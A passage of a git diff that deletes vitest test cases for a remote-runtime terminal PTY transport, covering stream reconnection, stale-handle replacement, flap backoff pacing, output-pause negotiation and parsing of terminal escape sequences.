-      expect(subscribedTerminalHandles()).toEqual(['terminal-stable'])
-      transport.destroy?.()
-    } finally {
-      warn.mockRestore()
-      vi.useRealTimers()
-    }
-  })
-
-  it('paces repeated same-handle stream ends instead of disconnecting', async () => {
-    vi.useFakeTimers()
-    try {
-      resolvedPaneHandle = 'terminal-flapping'
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('hub-env', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:hub-env@@terminal-flapping',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      runtimeCall.mockImplementation(async (args: { method: string }) =>
-        args.method === 'session.tabs.list'
-          ? readyHostSessionInventoryResponse('terminal-flapping')
-          : { ok: true, result: {} }
-      )
-      emitSnapshot(latestSubscribePayload().streamId, 'initial stream')
-
-      for (let cycle = 0; cycle < 2; cycle += 1) {
-        subscriptionCallbacks?.onResponse({
-          ok: true,
-          result: { type: 'end', streamId: latestSubscribePayload().streamId, code: 0 }
-        })
-        await vi.advanceTimersByTimeAsync(1_000)
-        expect(subscribedTerminalHandles()).toHaveLength(cycle + 2)
-        emitSnapshot(latestSubscribePayload().streamId, `same handle cycle ${cycle}`)
-        expect(transport.isConnected()).toBe(true)
-      }
-
-      // Why: the third end inside the flap window waits out a backoff before reusing the handle.
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: latestSubscribePayload().streamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(500)
-      expect(subscribedTerminalHandles()).toHaveLength(3)
-      expect(transport.getRecoveryState?.().phase).toBe('backoff')
-      await vi.advanceTimersByTimeAsync(1_500)
-      expect(subscribedTerminalHandles()).toEqual([
-        'terminal-flapping',
-        'terminal-flapping',
-        'terminal-flapping',
-        'terminal-flapping'
-      ])
-      emitSnapshot(latestSubscribePayload().streamId, 'paced reattach')
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getRecoveryState?.().phase).toBe('connected')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('ignores a delayed stale send after the pane has rebound to a healthy handle', async () => {
     resolvedPaneHandle = 'terminal-old'
     let resolveOldSend: (response: unknown) => void = () => {}
@@ -220,80 +109,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     expect(transport.isConnected()).toBe(true)
   })
 
-  it('honors a sticky replacement requirement during non-web pane resolution', async () => {
-    resolvedPaneHandle = 'terminal-old'
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-old',
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'old handle')
-
-    let resolveOldSend: (response: unknown) => void = () => {}
-    const oldSendResponse = new Promise((resolve) => {
-      resolveOldSend = resolve
-    })
-    let resolvePane: (response: unknown) => void = () => {}
-    const paneResponse = new Promise((resolve) => {
-      resolvePane = resolve
-    })
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'terminal.send') {
-        return oldSendResponse
-      }
-      if (args.method === 'terminal.resolvePane') {
-        return paneResponse
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const sendInputAccepted = transport.sendInputAccepted
-    if (!sendInputAccepted) {
-      throw new Error('Expected acknowledged remote terminal input')
-    }
-    const pendingSend = sendInputAccepted('sent-before-close', 'driving')
-    await vi.waitFor(() =>
-      expect(runtimeCall).toHaveBeenCalledWith(expect.objectContaining({ method: 'terminal.send' }))
-    )
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() =>
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.resolvePane' })
-      )
-    )
-    resolveOldSend({
-      ok: false,
-      error: { code: 'terminal_handle_stale', message: 'terminal_handle_stale' }
-    })
-    await expect(pendingSend).resolves.toBe(false)
-    resolvePane({
-      ok: true,
-      result: {
-        terminal: {
-          handle: 'terminal-old',
-          tabId: 'tab-1',
-          leafId: 'pane:1',
-          worktreeId: 'wt-1'
-        }
-      }
-    })
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledOnce())
-    expect(subscribedTerminalHandles()).toEqual(['terminal-old'])
-    expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-old', -1)
-    expect(transport.getPtyId()).toBeNull()
-    expect(transport.isConnected()).toBe(false)
-  })
-
   it('does not subscribe a same handle condemned after its inventory wait returns', async () => {
     vi.useFakeTimers()
     try {
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-sticky-replacement-policy.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-sticky-replacement-policy.test.ts
deleted file mode 100644
index af4032667ca..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-sticky-replacement-policy.test.ts
+++ /dev/null
@@ -1,423 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import {
-  createRemoteRuntimeTransportMocks,
-  readyHostSessionInventoryResponse
-} from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  runtimeSubscribe,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  subscribedTerminalHandles,
-  emitSnapshot,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('uses a strengthened sticky policy when an inventory retry starts', async () => {
-    vi.useFakeTimers()
-    try {
-      resolvedPaneHandle = 'terminal-old'
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-old',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const oldStreamId = latestSubscribePayload().streamId
-      emitSnapshot(oldStreamId, 'old handle')
-
-      let resolveOldSend: (response: unknown) => void = () => {}
-      const oldSendResponse = new Promise((resolve) => {
-        resolveOldSend = resolve
-      })
-      let hostListCalls = 0
-      runtimeCall.mockImplementation((args: { method: string }) => {
-        if (args.method === 'terminal.send') {
-          return oldSendResponse
-        }
-        if (args.method === 'session.tabs.list') {
-          hostListCalls += 1
-          return Promise.reject(new Error('runtime reconnect in progress'))
-        }
-        return Promise.resolve({ ok: true, result: {} })
-      })
-      const sendInputAccepted = transport.sendInputAccepted
-      if (!sendInputAccepted) {
-        throw new Error('Expected acknowledged remote terminal input')
-      }
-      const pendingSend = sendInputAccepted('sent-before-stream-end', 'driving')
-      await vi.waitFor(() =>
-        expect(runtimeCall).toHaveBeenCalledWith(
-          expect.objectContaining({ method: 'terminal.send' })
-        )
-      )
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: oldStreamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(15_000)
-      expect(transport.getRecoveryState?.().phase).toBe('backoff')
-
-      resolveOldSend({
-        ok: false,
-        error: { code: 'terminal_handle_stale', message: 'terminal_handle_stale' }
-      })
-      await expect(pendingSend).resolves.toBe(false)
-      const callsBeforeRetry = hostListCalls
-      await vi.advanceTimersByTimeAsync(1_000)
-
-      expect(hostListCalls).toBe(callsBeforeRetry)
-      expect(subscribedTerminalHandles()).toEqual(['terminal-old'])
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-old')
-      expect(transport.isConnected()).toBe(false)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('paces same-handle stream-end flaps, then latches Reconnect once the ladder is spent', async () => {
-    vi.useFakeTimers()
-    try {
-      resolvedPaneHandle = 'terminal-flapping'
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onPtyExit = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1',
-        onPtyExit
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-flapping',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'initial handle')
-      runtimeCall.mockImplementation((args: { method: string }) =>
-        args.method === 'session.tabs.list'
-          ? Promise.resolve(readyHostSessionInventoryResponse('terminal-flapping'))
-          : Promise.resolve({ ok: true, result: {} })
-      )
-
-      // Why: flap delays grow to 30s, so 31s per cycle covers every rung.
-      for (let cycle = 0; cycle < 8; cycle += 1) {
-        const endedStreamId = latestSubscribePayload().streamId
-        subscriptionCallbacks?.onResponse({
-          ok: true,
-          result: { type: 'end', streamId: endedStreamId, code: 0 }
-        })
-        await vi.advanceTimersByTimeAsync(31_000)
-        expect(subscribedTerminalHandles()).toHaveLength(cycle + 2)
-        expect(latestSubscribePayload().terminal).toBe('terminal-flapping')
-        emitSnapshot(latestSubscribePayload().streamId, `same handle ${cycle + 1}`)
-        expect(transport.isConnected()).toBe(true)
-      }
-      // Why: an endless flap resets the deadline on every reattach, so it must stop pacing and fence the handle.
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: latestSubscribePayload().streamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 16_000)
-      expect(subscribedTerminalHandles()).toHaveLength(9)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-flapping')
-      expect(onPtyExit).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reuses prior ready evidence fenced by an unanswered send when the trailing inventory poll fails', async () => {
-    vi.useFakeTimers()
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    try {
-      resolvedPaneHandle = 'terminal-stable'
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-stable',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const oldStreamId = latestSubscribePayload().streamId
-      emitSnapshot(oldStreamId, 'before trailing failure')
-      let hostListCalls = 0
-      runtimeCall.mockImplementation(
-        async (args: { method: string; timeoutMs?: number }): Promise<unknown> => {
-          if (args.method === 'terminal.send') {
-            return new Promise(() => {})
-          }
-          if (args.method !== 'session.tabs.list') {
-            return { ok: true, result: {} }
-          }
-          hostListCalls += 1
-          if ((args.timeoutMs ?? 15_000) <= 1_000) {
-            throw new Error('final inventory poll failed')
-          }
-          return readyHostSessionInventoryResponse('terminal-stable')
-        }
-      )
-
-      // Why: an unanswered send fences early same-handle reuse, so only the window's ready evidence reattaches.
-      void transport.sendInputAccepted?.('unanswered', 'driving')
-      await vi.waitFor(() =>
-        expect(runtimeCall).toHaveBeenCalledWith(
-          expect.objectContaining({ method: 'terminal.send' })
-        )
-      )
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: { type: 'end', streamId: oldStreamId, code: 0 }
-      })
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      expect(hostListCalls).toBeGreaterThan(1)
-      expect(subscribedTerminalHandles()).toEqual(['terminal-stable', 'terminal-stable'])
-      expect(warn).not.toHaveBeenCalled()
-      expect(transport.isConnected()).toBe(false)
-      emitSnapshot(latestSubscribePayload().streamId, 'ready evidence reused')
-      expect(transport.isConnected()).toBe(true)
-    } finally {
-      warn.mockRestore()
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not carry a stale-handle requirement onto the replacement stream', async () => {
-    vi.useFakeTimers()
-    try {
-      let rejectedReplacement = false
-      subscriptionSendBinary.mockImplementation((bytes: Uint8Array<ArrayBufferLike>) => {
-        const frame = decodeTerminalStreamFrame(bytes)
-        if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-          return
-        }
-        const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-        if (payload?.terminal === 'terminal-replacement' && !rejectedReplacement) {
-          rejectedReplacement = true
-          throw new Error('Remote runtime connection closed.')
-        }
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('hub-env', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1',
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-stale'
-      transport.attach({
-        existingPtyId: 'remote:hub-env@@terminal-stale',
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const staleStreamId = latestSubscribePayload().streamId
-      emitSnapshot(staleStreamId, 'before stale handle')
-
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method !== 'session.tabs.activate' && args.method !== 'session.tabs.list') {
-          return { ok: true, result: {} }
-        }
-        return {
-          ok: true,
-          result: {
-            worktree: 'wt-1',
-            publicationEpoch: 'epoch-replacement',
-            snapshotVersion: 2,
-            activeGroupId: null,
-            activeTabId: 'host-tab-1::pane:1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'host-tab-1::pane:1',
-                parentTabId: 'host-tab-1',
-                leafId: 'pane:1',
-                title: 'Terminal',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-replacement'
-              }
-            ]
-          }
-        }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: staleStreamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.waitFor(() => expect(rejectedReplacement).toBe(true))
-      await vi.advanceTimersByTimeAsync(250)
-      await vi.waitFor(() => expect(runtimeSubscribe.mock.calls.length).toBeGreaterThanOrEqual(2))
-
-      const subscribedTerminals = subscriptionSendBinary.mock.calls
-        .map((call) => decodeTerminalStreamFrame(call[0]))
-        .flatMap((frame) => {
-          if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-            return []
-          }
-          const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-          return payload ? [payload.terminal] : []
-        })
-      expect(subscribedTerminals).toEqual([
-        'terminal-stale',
-        'terminal-replacement',
-        'terminal-replacement'
-      ])
-      expect(onPtyRebind).toHaveBeenCalledOnce()
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-replacement' })
-      )
-      emitSnapshot(latestSubscribePayload().streamId, 'replacement reattached')
-      expect(transport.isConnected()).toBe(true)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('coalesces concurrent stale errors for the handle that was replaced', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    resolvedPaneHandle = 'terminal-stale'
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-stale',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-    let resolveHostList: (response: unknown) => void = () => {}
-    const hostListResponse = new Promise((resolve) => {
-      resolveHostList = resolve
-    })
-    let hostListCalls = 0
-    runtimeCall.mockImplementation((args: { method: string }) => {
-      if (args.method === 'terminal.send') {
-        return Promise.resolve({
-          ok: false,
-          error: { code: 'terminal_handle_stale', message: 'terminal_handle_stale' }
-        })
-      }
-      if (args.method === 'session.tabs.list') {
-        hostListCalls += 1
-        return hostListResponse
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-
-    const sendInputAccepted = transport.sendInputAccepted
-    if (!sendInputAccepted) {
-      throw new Error('Expected acknowledged remote terminal input')
-    }
-    const sends = Promise.all([
-      sendInputAccepted('first', 'driving'),
-      sendInputAccepted('second', 'driving')
-    ])
-    await vi.waitFor(() => expect(hostListCalls).toBe(1))
-    await expect(sends).resolves.toEqual([false, false])
-
-    resolveHostList({
-      ok: true,
-      result: {
-        worktree: 'wt-1',
-        publicationEpoch: 'epoch-1',
-        snapshotVersion: 2,
-        activeGroupId: null,
-        activeTabId: 'tab-1::pane:1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'tab-1::pane:1',
-            parentTabId: 'tab-1',
-            leafId: 'pane:1',
-            title: 'Claude Code',
-            isActive: true,
-            status: 'ready',
-            terminal: 'terminal-reconnected'
-          }
-        ]
-      }
-    })
-
-    await vi.waitFor(() =>
-      expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-reconnected' })
-    )
-    await Promise.resolve()
-
-    // Late stale responses belong to the old handle and must not start another polling loop against its replacement.
-    expect(hostListCalls).toBe(1)
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-reconnected')
-    expect(transport.isConnected()).toBe(false)
-    emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-    expect(transport.isConnected()).toBe(true)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts
index c8afe035487..fd67e55ae74 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts
@@ -1,15 +1,11 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import {
   TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
   decodeTerminalStreamText
 } from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import type { PtyTransportRecoveryState } from '../pty-transport-types'
 
 const appStore = vi.hoisted(() => ({
   getState: vi.fn(() => {
@@ -29,13 +25,11 @@ let resolvedPaneHandle = 'terminal-1'
 const {
   runtimeSubscribe,
   subscriptionSendBinary,
-  emitMultiplexReady,
   latestSubscribePayload,
   emitOutput,
   emitSnapshot,
   latestFrameForOpcode,
   inputFrameTexts,
-  subscribeFrameCount,
   resetRemoteRuntimeTransport
 } = createRemoteRuntimeTransportMocks({
   getCallbacks: () => subscriptionCallbacks,
@@ -53,383 +47,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('unsubscribes a remote terminal subscription that resolves after destroy', async () => {
-    let resolveSubscribe: (value: {
-      unsubscribe: () => void
-      sendBinary: typeof subscriptionSendBinary
-    }) => void = () => {}
-    const unsubscribe = vi.fn()
-    runtimeSubscribe.mockImplementation(
-      (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return new Promise<{ unsubscribe: () => void; sendBinary: typeof subscriptionSendBinary }>(
-          (resolve) => {
-            resolveSubscribe = (value) => {
-              resolve(value)
-              queueMicrotask(emitMultiplexReady)
-            }
-          }
-        )
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    const connect = transport.connect({ url: '', callbacks: {} })
-    // The stream open overlaps terminal.create; destroy once the pane is waiting on it alone.
-    await vi.waitFor(() => {
-      expect(runtimeSubscribe).toHaveBeenCalled()
-      expect(transport.getPtyId()).not.toBeNull()
-    })
-    transport.destroy?.()
-    resolveSubscribe({ unsubscribe, sendBinary: subscriptionSendBinary })
-    await connect
-
-    expect(unsubscribe).toHaveBeenCalled()
-    expect(transport.getPtyId()).toBeNull()
-  })
-
-  it('delivers cleaned remote data before deferred title, bell, and OSC 9999 handlers', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onData = vi.fn()
-    const onTitleChange = vi.fn()
-    const onBell = vi.fn()
-    const onAgentStatus = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      onTitleChange,
-      onBell,
-      onAgentStatus
-    })
-
-    await transport.connect({ url: '', callbacks: { onData } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitOutput(
-      streamId,
-      'before\x1b]9999;{"state":"working","prompt":"ship it","agentType":"codex"}\x07after\x1b]0;. Claude working\x07\x07'
-    )
-
-    expect(onData).toHaveBeenCalledWith(
-      'beforeafter\x1b]0;. Claude working\x07\x07',
-      expect.objectContaining({ seq: 1 })
-    )
-    await vi.waitFor(() =>
-      expect(onAgentStatus).toHaveBeenCalledWith({
-        state: 'working',
-        prompt: 'ship it',
-        agentType: 'codex'
-      })
-    )
-    expect(onTitleChange).toHaveBeenCalledWith('. Claude working', '. Claude working')
-    expect(onBell).toHaveBeenCalledTimes(1)
-  })
-
-  it('processes binary remote data chunks through the terminal parser', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onData = vi.fn()
-    const onTitleChange = vi.fn()
-    const onBell = vi.fn()
-    const onAgentStatus = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      onTitleChange,
-      onBell,
-      onAgentStatus
-    })
-
-    await transport.connect({ url: '', callbacks: { onData } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const { streamId } = latestSubscribePayload()
-    emitOutput(
-      streamId,
-      'before\x1b]9999;{"state":"working","prompt":"ship it","agentType":"codex"}\x07after'
-    )
-
-    expect(onData).toHaveBeenCalledWith('beforeafter', expect.objectContaining({ seq: 1 }))
-    await vi.waitFor(() =>
-      expect(onAgentStatus).toHaveBeenCalledWith({
-        state: 'working',
-        prompt: 'ship it',
-        agentType: 'codex'
-      })
-    )
-  })
-
-  it('resubscribes without surfacing a PTY error when the remote runtime subscription closes', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onExit = vi.fn()
-    const onDisconnect = vi.fn()
-    const onPtyExit = vi.fn()
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    await transport.connect({ url: '', callbacks: { onExit, onDisconnect, onError } })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    subscriptionCallbacks?.onClose?.()
-
-    expect(onExit).not.toHaveBeenCalled()
-    expect(onDisconnect).not.toHaveBeenCalled()
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(onError).not.toHaveBeenCalled()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-  })
-
-  it('reapplies negotiated output pause across reconnect and resumes exact snapshot plus live data', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onData = vi.fn()
-    const onOutputPauseChanged = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({
-      url: '',
-      callbacks: { onData, onReplayData, onOutputPauseChanged }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(transport.setOutputPaused?.(true)).toBe(false)
-    const firstStreamId = latestSubscribePayload().streamId
-    emitSnapshot(firstStreamId, 'INITIAL_SNAPSHOT')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'subscribed',
-        streamId: firstStreamId,
-        capabilities: { outputPause: 1 }
-      }
-    })
-    await vi.waitFor(() =>
-      expect(
-        decodeTerminalStreamJson<{ paused?: boolean }>(
-          latestFrameForOpcode(TerminalStreamOpcode.SetOutputPaused)!.payload
-        )
-      ).toEqual({ paused: true })
-    )
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-    const reconnectStreamId = latestSubscribePayload().streamId
-    emitSnapshot(reconnectStreamId, 'RECONNECT_SNAPSHOT')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'subscribed',
-        streamId: reconnectStreamId,
-        capabilities: { outputPause: 1 }
-      }
-    })
-    await vi.waitFor(() =>
-      expect(
-        subscriptionSendBinary.mock.calls
-          .map((call) => decodeTerminalStreamFrame(call[0]))
-          .filter((frame) => frame?.opcode === TerminalStreamOpcode.SetOutputPaused)
-          .map((frame) => decodeTerminalStreamJson<{ paused?: boolean }>(frame!.payload))
-      ).toEqual([{ paused: true }, { paused: true }])
-    )
-
-    expect(transport.setOutputPaused?.(false)).toBe(true)
-    emitOutput(reconnectStreamId, 'LIVE_AFTER_RECONNECT')
-    expect(onReplayData.mock.calls.map((call) => call[0])).toEqual([
-      'INITIAL_SNAPSHOT',
-      'RECONNECT_SNAPSHOT'
-    ])
-    expect(onData.mock.calls.map((call) => call[0])).toEqual(['LIVE_AFTER_RECONNECT'])
-    expect(onOutputPauseChanged).toHaveBeenLastCalledWith(false, true, false)
-    transport.destroy?.()
-  })
-
-  it('re-arms the retained-buffer restore when a recovery subscribe replays no snapshot', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onReplayData = vi.fn()
-    const onStreamRecovered = vi.fn()
-    const onConnect = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({
-      url: '',
-      callbacks: { onReplayData, onStreamRecovered, onConnect }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const firstStreamId = latestSubscribePayload().streamId
-    emitSnapshot(firstStreamId, 'INITIAL_SNAPSHOT')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'subscribed',
-        streamId: firstStreamId,
-        capabilities: { outputPause: 1 }
-      }
-    })
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-    // Initial subscribe already carries a snapshot; do not make every open buy a second restore.
-    expect(onStreamRecovered).not.toHaveBeenCalled()
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBe(2))
-    const reconnectStreamId = latestSubscribePayload().streamId
-    // Exited preserved panes emit no new bytes; recovered imageless streams must request retained history before a visibility flip.
-    emitSnapshot(reconnectStreamId, '')
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'subscribed',
-        streamId: reconnectStreamId,
-        capabilities: { outputPause: 1 }
-      }
-    })
-
-    await vi.waitFor(() => expect(onStreamRecovered).toHaveBeenCalledTimes(1))
